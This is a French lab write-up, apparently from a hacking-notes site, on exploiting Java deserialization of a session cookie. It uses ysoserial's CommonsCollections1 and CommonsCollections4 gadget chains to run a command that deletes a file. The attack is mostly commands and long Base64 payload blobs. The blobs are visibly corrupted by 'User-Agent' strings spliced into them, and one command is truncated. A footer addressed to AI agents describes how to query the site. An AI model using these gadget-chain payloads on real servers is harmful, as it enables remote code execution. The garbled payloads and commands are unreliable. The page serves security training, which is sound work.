> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/java-deserialization-with-apache-commons.md).
# Désérialisation Java avec Apache Commons
### Exploiter la désérialisation Java avec Apache Commons
Ce laboratoire utilise un mécanisme de session basé sur la sérialisation Java\*\* et charge le **Apache Commons Collections** bibliothèque. / Même sans accès au code source, la vulnérabilité peut être exploitée en utilisant des \*\*gadgets préconstruits\*\*.
\*\* Cible :\*\*/ Injecter un objet Java sérialisé malveillant pour exécuter une commande distante et supprimer le fichier :
```bash
/home/carlos/morale.txt
```
**Identifiants fournis :**
* `wiener:peter`
#### Analyse de la session
Après authentification, la session est stockée dans un cookie Java\*\* sérialisé \*\*, encodé en Base64, par exemple :
{% code overflow="wrap" %}
```bash
rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACB3dnc2c3cwdWs5bmtlc3FlcWRmMTQ4YnhvMW0yMHJsMXQABndpZW5lcg%3d%3d
```
{% endcode %}
Le `rO0AB` Le préfixe confirme qu'il s'agit d'un objet Java sérialisé.
#### Outil utilisé : Yesserial
Pour générer une charge utile de désérialisation malveillante, nous utilisons l'outil tiers **ysserial**.
**Préparation de l'environnement**
Le laboratoire nécessite une version compatible de Java (ici Java 11) :
```bash
java -version
update-alternatives --set java /usr/lib/jvm/java-11-openjdk-amd64/bin/java
```
#### Génération d'une charge utile malveillante
Commencez par tester une chaîne de gadgets Apache Commons :
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm /home/carlos/morale.txt'
```
La commande s'exécute correctement en local, mais la charge utile injectée dans l'application provoque une erreur.
Génération finale de la charge utile et encodage en Base64 :
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections1 'rm /home/carlos/morale.txt'| base64 -w 0 ; echo
```
{% code overflow="wrap" %}
```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB%2bAABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcmeh+j9qf3zOOAIAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2bAB5zcQB%2bABZ1cQB%2bABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB%2bAB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB%2bAB4AAAABcQB%2bACNzcQB%2bABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```
{% endcode %}
#### Adaptation de la chaîne de gadgets
Après plusieurs tests, la chaîne correcte pour ce laboratoire est :
Génération finale de la charge utile et encodage en Base64 :
```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/java /
-jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 ; ech
```
{% code overflow="wrap" %}
```bash
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAUser-AgentwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lckzhfX3rM3jCqgIAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAUser-AgentwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcmeH6P9re3zOOAIAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAG3JtICAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB+AB4AAAABcQB+ACNzcQB+ABFzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAUser-AgentkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcUser-AgentH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgA6
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/fr/web/deserialization/java-deserialization-with-apache-commons.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.